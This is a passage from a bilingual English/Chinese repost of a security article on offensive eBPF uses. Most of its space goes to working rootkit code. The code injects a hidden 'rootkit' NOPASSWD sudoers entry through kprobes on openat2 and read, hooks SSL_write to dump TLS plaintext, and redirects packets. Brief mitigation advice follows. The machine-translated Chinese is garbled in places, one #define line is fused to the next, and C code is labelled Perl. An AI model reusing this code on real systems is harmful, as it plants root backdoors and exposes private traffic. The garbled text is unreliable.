            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + offsetof(struct iphdr, daddr), &new_dst_addr, sizeof(new_dst_addr), BPF_F_RECOMPUTE_CSUM);

            iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
            if ((void *)(iph + 1) > skb->data_end)
            {
                return TC_ACT_OK;
            }

            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
            if ((void *)(tcph + 1) > skb->data_end)
            {
                return TC_ACT_OK;
            }

            dst_port = bpf_htons(tcph->dest);
            dst_addr = bpf_htonl(iph->daddr);
        }
    }
}
Code language: Perl (perl)

Just remember to update the checksums after modifying the packet, otherwise the packet will be dropped by the kernel.
只要记住修改数据包后更新校验和,否则数据包将被内核丢弃。

To detect such attacks, it is sufficient to use external monitoring tools or hardware since once the packet has been processed by the kernel it’s possible to see the actual destination of the packet.
要检测此类攻击,使用外部监视工具或硬件就足够了,因为一旦数据包被内核处理,就可以看到数据包的实际目的地。

Sudoers hidden root account
Sudoers 隐藏根帐户

Creating a hidden user is a neat feature when it comes to hiding malicious behaviors. This can be achieved by using eBPF to hook SYS_open and SYS_read syscalls, and then by crafting a custom entry inside /etc/sudoers file when sudo tries to read it. The code below is just an example of how such capabilities can be achieved.
在隐藏恶意行为方面,创建隐藏用户是一项简洁的功能。这可以通过使用 eBPF 钩子 SYS_open 和 SYS_read 系统调用来实现,然后在 sudo 尝试读取它时在 /etc/sudoers 文件中创建一个自定义条目来实现。下面的代码只是如何实现这些功能的示例。

In order to do so, we created three different kprobes: one on SYS_openat2, one on SYS_read, and one on SYS_exit. The logic is as follows:
为了做到这一点,我们创建了三种不同的kprobe:一个一对一 SYS_openat2, 的打开 SYS_read, 和一个on。 SYS_exit 逻辑如下:

1 – when SYS_openat2 is called, we save the file descriptor of /etc/sudoers and the calling process pid inside a map.
1 – 当被调用时 SYS_openat2 ,我们将 /etc/sudoers 的文件描述符和调用进程 pid 保存在映射中。

2 – when SYS_read is called, we check if the file descriptor is the one we saved before; if so, we save the destination buffer inside the map.
2 – 调用时 SYS_read ,我们检查文件描述符是否是我们之前保存的文件描述符;如果是这样,我们将目标缓冲区保存在地图中。

3 – when SYS_exit is called, we check if the process pid is present inside our map; if so, we close the file descriptor and remove it from our map to prevent race conditions when two processes have the same fd number.
3 – 调用时 SYS_exit ,我们检查进程 pid 是否存在于我们的地图中;如果是这样,我们将关闭文件描述符并将其从映射中删除,以防止两个进程具有相同 FD 编号时的争用条件。

The final code looks like this:
最终代码如下所示:

#define USERNAME        "rootkit"
#define NEW_SUDOERS     "root ALL=(ALL:ALL) ALL\n" USERNAME " ALL=(ALL) NOPASSWD:ALL\n"
#define PAD_CHAR        '\0'    // can also be '#'
#define MAX_SUDOERS_SIZE 20000#define true    1
#define false   0
#define bool    int

​
SEC("kprobe/do_sys_openat2")
int kprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct filename *filename;
   bpf_probe_read(&filename, sizeof(filename), &ctx->si);
​
   char name[256];
   bpf_probe_read_str(name, sizeof(name), &filename->name);
​
   if (strcmp(name, "/etc/sudoers") == true) {
       size_t pt = bpf_get_current_pid_tgid();
       // first write fd = -1 to the map as we are currently at the start of the function
       // and we don't know the value of it yet, we also don't know the destination buffer
       // until kprobe/ksys_read, so set it to NULL for now
       struct fd_dest fdest = { .fd = -1, .dest = NULL };
​
       bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_NOEXIST);
   }
​
   return 0;
}
​
SEC("kretprobe/do_sys_openat2")
int kretprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   // check if we already saved the fd of /etc/sudoers to the map
   if (fdest.fd != -1)
       return 0;
​
   // read the rax value, which contains the fd of the opened file
   bpf_probe_read(&fdest.fd, sizeof(fdest.fd), &ctx->ax);
​
   // update fd from -1 to the actual fd
   bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
​
   return 0;
}
​
SEC("kprobe/ksys_read")
int kprobe__ksys_read(struct pt_regs *ctx) {
   int fd;
   struct fd_dest fdest;
   void *read_dest = NULL;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   // if we still haven't hit kretprobe of do_sys_openat2
   // (the fd of /etc/sudoers is not saved yet)
   // also skip if the destination buffer was already saved
   if (fdest.fd == -1 || fdest.dest != NULL)
       return 0;
​
   bpf_probe_read(&fd, sizeof(fd), &ctx->di);
   // check if the read fd matches the fd of the /etc/sudoers file
   if (fd != fdest.fd)
       return 0;
​
   // the destination buffer pointer is within rsi register
   // read its value and write it to the map
   bpf_probe_read(&fdest.dest, sizeof(fdest.dest), &ctx->si);
   bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
​
   return 0;
}
​
SEC("kretprobe/ksys_read")
int kretprobe__ksys_read(struct pt_regs *ctx) {
   size_t bytes_read = 0;
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   if (fdest.dest == NULL)
       return 0;
​
   size_t new_sudoers_len = strlen(NEW_SUDOERS);
​
   bpf_probe_read(&bytes_read, sizeof(bytes_read), &ctx->ax);
   if (bytes_read == 0 || bytes_read < new_sudoers_len)
       return 0;
​
   // write NEW_SUDOERS to the beginning of the file
   bpf_probe_write_user(fdest.dest, NEW_SUDOERS, new_sudoers_len);
​
   // pad the rest of the /etc/sudoers with PAD_CHAR
   // i < MAX_SUDOERS_SIZE check is needed otherwise the verifier won't allow
   // the program to load
   char tmp = PAD_CHAR;
   for (u32 i = new_sudoers_len; i < bytes_read && i < MAX_SUDOERS_SIZE; i++)
       bpf_probe_write_user(fdest.dest + i, &tmp, sizeof(tmp));
​
   return 0;
}
​
SEC("kprobe/do_exit")
int kprobe__do_exit(struct pt_regs *ctx) {
   size_t pt = bpf_get_current_pid_tgid();
​
   // if the pid_tgid is found within the map then the process that's currently
   // exiting is a process that previously read /etc/sudoers, remove it from the map
   if (bpf_map_lookup_elem(&sudoers_map, &pt))
       bpf_map_delete_elem(&sudoers_map, &pt);
​
   return 0;
}
Code language: Perl (perl)

The only effective way to defend against this kind of rootkit is to use eBPF to monitor SYS_bpf syscall.
防御这种rootkit的唯一有效方法是使用eBPF来监控 SYS_bpf 系统调用。

SSL plaintext dump with Uprobe
带有 Uprobe 的 SSL 明文转储

It’s not only syscalls that can be hooked, but also user space functions. This can be done by using uprobes. Uprobe hooking works under the hood by using INT3 instructions to set breakpoints on the target function. This means that the binary must be compiled with debug symbols in order to be easily hooked. When the breakpoint is hit, the kernel will invoke the eBPF program and pass the context to it. This context contains the registers and the stack of the target process. This means that the eBPF program can read and write the stack of the target process.
不仅可以挂接系统调用,还可以挂接用户空间函数。这可以通过使用uprobes来完成。Uprobe 挂钩通过使用指令在 INT3 目标函数上设置断点来工作。这意味着二进制文件必须使用调试符号进行编译,以便轻松挂钩。当命中断点时,内核将调用 eBPF 程序并将上下文传递给它。此上下文包含目标进程的寄存器和堆栈。这意味着 eBPF 程序可以读写目标进程的堆栈。

The example below shows how to hook the SSL_write function from OpenSSL and dump the plaintext of the SSL connection.
下面的示例显示了如何从 OpenSSL 挂钩 SSL_write 函数并转储 SSL 连接的明文。

SEC("uprobe/SSL_write")
int uprobe__SSL_write(struct pt_regs *ctx)
{
    size_t len = (size_t)PT_REGS_PARM3(ctx);
    char *buf = (char *)PT_REGS_PARM2(ctx);

    // check if len is greater than 0
    if (len > 0 && buf != NULL)
    {

        if (len > 256)
        {
            len = 256;
        }

        bpf_printk("SSL_write RSI: %p\n", buf);

        ssl_result_t *res;
        u32 key = 0;

        res = bpf_map_lookup_elem(&ssl_results, &key);
        if (!res)
        {
            return 0;
        }

        bpf_probe_read_user_str(&res->msg, len, buf);
        bpf_get_current_comm(&res->comm, sizeof(res->comm));
        res->pid = bpf_get_current_pid_tgid() >> 32;
        bpf_perf_event_output(ctx, &ssl_events, BPF_F_CURRENT_CPU, res, sizeof(*res));
    }

    return 0;
}Code language: Perl (perl)

SSL_write has the following signature:
SSL_write 具有以下签名:

int SSL_write(SSL *ssl, const void *buf, int num);Code language: Perl (perl)

RSI register will hold the pointer to the buffer containing the data to be sent (plaintext).
RSI 寄存器将保存指向包含要发送的数据(纯文本)的缓冲区的指针。

Protecting against this kind of attack is trivial, since this will make changes to the .text segment, developers could implement some kind of integrity check (CRC32) to detect if the binary has been modified.
防止这种攻击是微不足道的,因为这将对 .text 段进行更改,开发人员可以实现某种完整性检查(CRC32)来检测二进制文件是否已被修改。

eBPF exploitation eBPF开发

eBPF is the perfect target for hackers. Given the complexity of the verifier, it’s very likely in the near future that some bugs will be found and exploited.
eBPF是黑客的完美目标。鉴于验证器的复杂性,在不久的将来很可能会发现并利用一些错误。

Fuzzing is still the preferred way to find bugs in the kernel, but it’s not easy to fuzz eBPF programs. The verifier is very strict and it’s not easy to generate valid programs. Some clever approaches have been developed to overcome this problem. For example, Buzzer from Google is a fuzzer that uses logs from the verifier itself to generate valid programs, and also KCOV to trace the coverage of the generated samples.
模糊测试仍然是查找内核中错误的首选方法,但模糊化eBPF程序并不容易。验证器非常严格,生成有效程序并不容易。已经开发了一些聪明的方法来克服这个问题。例如,来自Google的Buzzer是一个模糊器,它使用验证器本身的日志来生成有效程序,并使用KCOV来跟踪生成的样本的覆盖范围。

This approach resulted in the discovery of some bugs in the verifier, CVE-2023-2163 for example. Anyway there’s still some room for improvement, like fuzzing the side effects of kernel helper functions. This could be done by better implementing the samples’ generation logic, and, given the small number of instructions supported by the eBPF VM, it’s possible to implement a fuzzer that generates valid programs by using a grammar-based approach.
这种方法导致在验证程序中发现了一些错误,例如 CVE-2023-2163。无论如何,仍有一些改进的空间,例如模糊内核帮助程序函数的副作用。这可以通过更好地实现样本的生成逻辑来完成,并且,鉴于 eBPF VM 支持的指令数量较少,可以使用基于语法的方法实现生成有效程序的模糊器。

Also, entirely porting the verifier to userspace could be a good idea. This will allow us to fuzz the verifier itself with the help of assertion to force it to crash when it encounters some invalid assumptions.
此外,将验证程序完全移植到用户空间可能是一个好主意。这将允许我们在断言的帮助下模糊验证器本身,以在遇到一些无效假设时强制它崩溃。

Mitigation 缓解

The most effective way to mitigate such attacks is to restrict usage of SYS_bpf to the root user. This can be done by setting the kconfig knob BPF_UNPRIV_DEFAULT_OFF, which is the default at the moment of writing.
缓解此类攻击的最有效方法是限制对根 SYS_bpf 用户的使用。这可以通过设置 kconfig 旋钮 BPF_UNPRIV_DEFAULT_OFF, 来完成,这是撰写本文时的默认旋钮。

Another option is using monitoring tools such as Falco to monitor syscall usage and detect abuse of such.
另一种选择是使用Falco等监控工具来监控系统呼叫使用情况并检测此类滥用。

In addition to the above methods, also using bpftool could be useful to get insight about loaded bpf programs and their respective usage (Kprobe, TC, and so on).
除了上述方法之外,使用 bpftool 也可用于深入了解加载的 bpf 程序及其各自的用法(Kprobe、TC 等)。

Conclusion 结论

eBPF is a very powerful technology that allows us to extend the kernel functionality in a safe way. It’s used in production by many companies and it’s likely that it will be used even more in the future. But also, threat actors can take advantage of this technology to hide their malicious activities, bypass security checks, and even exploit the kernel.
eBPF 是一项非常强大的技术,它允许我们以安全的方式扩展内核功能。它被许多公司用于生产,将来可能会被更多地使用。而且,威胁参与者可以利用这项技术来隐藏他们的恶意活动,绕过安全检查,甚至利用内核。

The best way to deal with those kinds of next-gen attacks is to fully use the power of eBPF to monitor the kernel and detect suspicious activities.
处理此类下一代攻击的最佳方法是充分利用 eBPF 的强大功能来监控内核并检测可疑活动。

Falco provides a great example of how eBPF can be used to detect malicious activities. Also, Falco supports monitoring eBPF syscall, thus allowing it to detect eBPF exploitation attempts.
Falco提供了一个很好的例子,说明如何使用eBPF来检测恶意活动。此外,Falco支持监控eBPF系统调用,从而允许它检测eBPF利用尝试。

References: 引用:

原文始发于DANIELE LINGUAGLOSSA :eBPF Offensive Capabilities – Get Ready for Next-gen Malware

版权声明:admin 发表于 2023年9月8日 上午8:49。
转载请注明:eBPF Offensive Capabilities – Get Ready for Next-gen Malware | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...